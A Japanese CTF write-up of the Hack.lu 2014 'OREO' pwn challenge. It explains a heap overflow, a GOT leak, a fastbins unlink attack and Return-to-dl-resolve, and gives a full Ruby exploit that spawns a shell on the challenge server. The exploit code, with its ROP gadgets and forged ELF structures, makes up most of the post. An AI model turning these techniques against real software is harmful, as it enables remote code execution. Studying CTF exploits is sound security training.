Hack.lu2014 OREO(pwn400)
本日は，何の日でしょうか？ 本日は，バレンタインデーです．CTFerのみなさんはチョコをもらえたでしょうか. まだチョコをもらっていない人のためにOREOをみなさんにお届けします．
環境
本問題は以下の環境で行った．とりあえずUbuntu16.04LTSではうまく行かなかった．
uname -a
Linux vagrant-ubuntu-trusty 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
cat /etc/lsb-release
DISTRIB_ID=Ubuntu DISTRIB_RELEASE=14.04 DISTRIB_CODENAME=trusty DISTRIB_DESCRIPTION="Ubuntu 14.04 LTS"
下調べ
file
oreo: ELF 32-bit LSB executable Intel 80386 version 1 (SYSV) dynamically linked (uses shared libs) for GNU/Linux 2.6.26 BuildID[sha1]=f591eececd05c63140b9d658578aea6c24450f8b stripped
checksec
CANARY : ENABLED FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : disabled
解析
Welcome to the OREO Original Rifle Ecommerce Online System!
,______________________________________
|_________________,----------._ [____] -,__ __....-----=====
(_(||||||||||||)___________/ |
`----------' OREO [ ))"-, |
"" `, _,--....___ |
`/ """"
What would you like to do?
1. Add new rifle
2. Show added rifles
3. Order selected rifles
4. Leave a Message with your Order
5. Show current stats
6. Exit!
各種コマンドの概要
1. Add new rifle
- malloc(56)が呼ばれる
- nameとdescriptionの入力
- HeapOverflowが発生
2. show added rifles
- 追加したライフルのname, descriptionが見れる
3. Order selected rifles
- freeを使って追加したライフルを解放
4. Leave a Message with your Order
- メッセージの入力ができる
5. Show current stats
- 注文の回数が見れる
以下にmallocで確保される構造体を示す.
struct Rifle { char desc[25]; char name[27]; struct Rifle* next; };
攻略方針
HeapOverflowを利用すると，Rifle->nextを任意の値に書き換えることで，2を利用した際にリークが発生する．このリークを使って，まずgotの情報を全部抜き取ってしまう．同様にしてstdinのアドレスもリークさせる．
次に，fastbins unlink attackを用いて，mallocの戻り値を固定することを考える．x86では80byte以下のchunkはfree時にfastbinsというサイズ毎に存在するLIFOな片方向リストにつながる．これに偽のchunkを登録して，再度mallocを呼ぶとLIFOなので偽chunkが返ってくる．これを利用して任意のアドレスの書き換えが可能になる．
また，本問題はlibcが与えられていない上に，カスタムlibcと呼ばれるオフセットなどが運営側でいじられているlibcになっている．いわば簡単にオフセットが求まらないlibcである．そこでReturn to dl-resolveと呼ばれるlibc情報を一切使わない手法を用いて，動的に__libc_systemのアドレスを取得する．そのためには，既知のアドレス上に偽構造体を作る必があるので，最初の方法でHeap領域のアドレスをリークし，そこにfgetsで読み込んで作り上げていく．その際にGOT領域なども書き換えて踏み台にしていったりするので，とても長いexploitになっていく．
Return to dl-resolveの説明に関しては，ROP stager + Return-to-dl-resolveによるASLR+DEP回避にかなわない(めんどくさかった…気が向いたらそれだけの記事を書くかもしれない)ので，こちらを参考にしていただきたい．
Exploit
stkofのときもそうだったが，Exploitが難しいと説明が難しい… コードにそって詳しいコメントを書いていったので，それを追って見ていこうと思う．
# coding: ascii-8bit require 'pwnlib' host = "localhost" port = 8888 if ARGV[0] == "r" host = "wildwildweb.fluxfingers.net" port = 1414 end def recv_until_Action(t) t.recv_until("Action: ") end def add(t, name, desc) recv_until_Action(t) t.sendline("1") t.recv_until("Rifle name: ") t.sendline(name) t.recv_until("Rifle description: ") t.sendline(desc) $rifle_counter += 1 puts "Rifle count = %d" % $rifle_counter end def show(t) recv_until_Action(t) t.sendline("2") t.recv_until("Action: ").scan(/Description: (.*)\n/)[1][0].unpack("L*") end def order(t) recv_until_Action(t) t.sendline('3') t.recv_until("\n") end def leave(t, msg) recv_until_Action(t) t.sendline('4') t.recv_until(": ") t.sendline(msg) end def show_current_stats(t) t.sendline("5") t.recv_until("\n") end def leak(t, addr, name = nil) name = name.to_s if name.nil? payload = name.ljust(27, "A") payload << p32(addr) add(t, payload, 'desc') tmp = show(t) show_current_stats(t) return tmp end PwnTube.open(host, port) do |t| $rifle_counter = 0 # ordered_counter 0x804a2a0 # rifle_counter 0x804a2a4 # pMessage 0x804a2a8 # Message 0x804a2c0 puts_got = 0x804a248 stdin_got = 0x0804a280 link_map_got = 0x804a22c pop3ret = 0x8048b46 leave_ret = 0x804844c popebp_ret = 0x8048ae3 # 偽chunkに利用 # rifle_counterはライフルを追加していって，0x40にする fake_chunk_prev_size = 0x804a2a0 fake_chunk_data = fake_chunk_prev_size + 8 link_map, dl_resolve, printf, free, fgets, stack_chk_fail, malloc, puts, gmon_start, strlen, libc_start_main, isoc99_scanf = leak(t, link_map_got) stdin = leak(t, stdin_got)[0] buf_addr = 0 rifle_addr = 0x804a288 rifle_cnt = 58 # 影響がないヒープ領域(真ん中ぐらい)のアドレスを計算 heap = leak(t, rifle_addr)[0] buf_addr = (heap + 0x8000) & 0xfffff000 # 58回mallocを繰り返す rifle_cnt.times do |i| add(t, 'name', 'desc') end payload = p32(buf_addr) # ebp payload << p32(fgets) payload << p32(leave_ret) payload << p32(buf_addr) # ba5eba5e payload << p32(1025) payload << p32(stdin) heap = leak(t, rifle_addr, payload)[0] # desc[25]の方が先にあるので，+25してアドレスをnameに合わせる stager_addr = heap + 25 puts("[+] link_map 0x%x" % link_map) puts("[+] dl_resolve 0x%x" % dl_resolve) puts("[+] stdin 0x%x" % stdin) puts("[+] stager_addr 0x%x" % stager_addr) puts("[+] buffer_addr 0x%x" % buf_addr) # Rifle->nextをNULLにすることで，余分にfreeされないようにする payload = 'A' * 27 # name payload << p32(0) # next add(t, payload, 'desc') # 偽chunkの次のchunk(0x804a2e0)に適切なサイズを配置 # 条件：8 < x < main_arena->system_mem (32bit) payload = "\x00" * 32 payload << p32(0x9) leave(t, payload) ########################## # fastbins unlink attack # ########################## # Rifle->nextを偽chunkにしておく payload = 'A' * 27 payload << p32(fake_chunk_data) add(t, payload, "") # 1回目のfreeは最新のchunkを解放 # 2回目は，上記で仕込んだ偽chunkを解放 order(t) # objdump -s -j .plt oreo plt = 0x8048450 # push link_map; jmp popebp_ret; # ebpをずらすので，Canaryが一致せず，__stack_chk_failが呼ばれる payload = "" # 書き換え前GOT payload << p32(stager_addr) # link_map payload << p32(popebp_ret) # dl-resolve payload << p32(printf) # printf payload << p32(plt) # free payload << p32(fgets) # fgets payload << p32(leave_ret) # __stack_chk_fail payload << p32(malloc) # malloc payload << p32(puts) # puts # fastbins unlink attackにより，偽chunkが返される # この偽chunkは選択肢4で使われるアドレスを指す # これをlink_map_gotに書き換えることで，選択肢4での入力先を書き換え add(t, 'rID', p32(link_map_got)) # 書き換えたことによりfgets(link_map_got, 0x80, stdin)が呼ばれる leave(t, payload) # 書き換えられたfreeが実行 order(t) ######################## # Return to dl-resolve # ######################## binsh_str = "/bin/sh\x00" system_str = "system\x00\x00" # fgets(buf_addr, 0x401, stdin)に入力されていくpayload fake_rel = buf_addr + 11 * 4 + binsh_str.length + system_str.length fake_dynsym = fake_rel + 8 # objdump -D oreo -M intel -j .rel.plt relplt = 0x080483d8 # objdump -s -j .dynsym oreo dynsym = 0x080481f8 # dynsymを偽Elf32_Sym構造体に書き換える dynsym = fake_dynsym # gdb-peda$ find 0x080481f8 dynsym_addr = 0x804a188 # objdump -s -j .dynstr oreo dynstr = 0x080482c8 # dl_runtime_resolve関数の第２引数reloc_offset reloc_offset = fake_rel - relplt index_dynsym = (fake_dynsym - dynsym) / 0x10 r_info = (index_dynsym << 8) | 7 puts("[+] fake_rel 0x%x" % fake_rel) puts("[+] fake_dynsym 0x%x" % fake_dynsym) puts "[+] reloc offset 0x%x" % reloc_offset puts "[+] index dynsym 0x%x" % index_dynsym puts "[+] r_info 0x%x" % r_info if(dynsym + index_dynsym * 16 == fake_dynsym) puts "assert" end if(index_dynsym < 256) puts "assert2" end # fgets(buf_addr, 1025, stdin)に入るpayload payload = p32(0xba5eba5e) # fgets(dynsym_addr, 5, stdin) # dynsymをfake_dynsymに書き換え payload << p32(fgets) payload << p32(pop3ret) payload << p32(dynsym_addr) payload << p32(5) payload << p32(stdin) # dl_resolve(link_map, reloc_offset) # その後，eipが__libc_systemに移る payload << p32(dl_resolve) payload << p32(link_map) payload << p32(reloc_offset) binsh = buf_addr + payload.length + 8 payload << p32(0xdeadbeef) payload << p32(binsh) payload << binsh_str system = buf_addr + payload.length payload << system_str if(fake_rel == buf_addr + payload.length) puts "assert3" end # ここからfake_rel payload << p32(puts_got) payload << p32(r_info) if(fake_dynsym == buf_addr + payload.length) puts "assert4" end # ここから，fake_dynsym # fake_dynsym->st_name + dynstr = "system"を指したい payload << p32(system - dynstr) # st_name payload << p32(0) # st_value payload << p32(0) # st_size payload << [0x12].pack("C") # st_info payload << [0x00].pack("C") # st_other payload << [0x00].pack("S") # st_shndx payload << p32(0xdeadbeef) t.sendline(payload) # fake_dynsymの送ってdynsymを書き換え t.sendline(p32(dynsym)) t.interactive end
Hack.luのサーバはまだ動いているので，実際にリモートに向けてexploitコードを試した結果が以下である．
また，lddでリンクされているlibcを求めて，実際に実行してみるとカスタムlibcだと言っている．
感想
たぶん半年ぐらい空けてようやく理解ができた．コンテスト中にここまで緻密にstagerしていくのは，まだできないので良い練習になったと思う．達成感はデカイ．@wapiflapioのwriteupを参考(丸パクリ)しながら検証していったので，とても助かった．しかしところどころ必要のないと思われる部分があり，そこは自分なりに修正したので間違っていた教えていただきたい．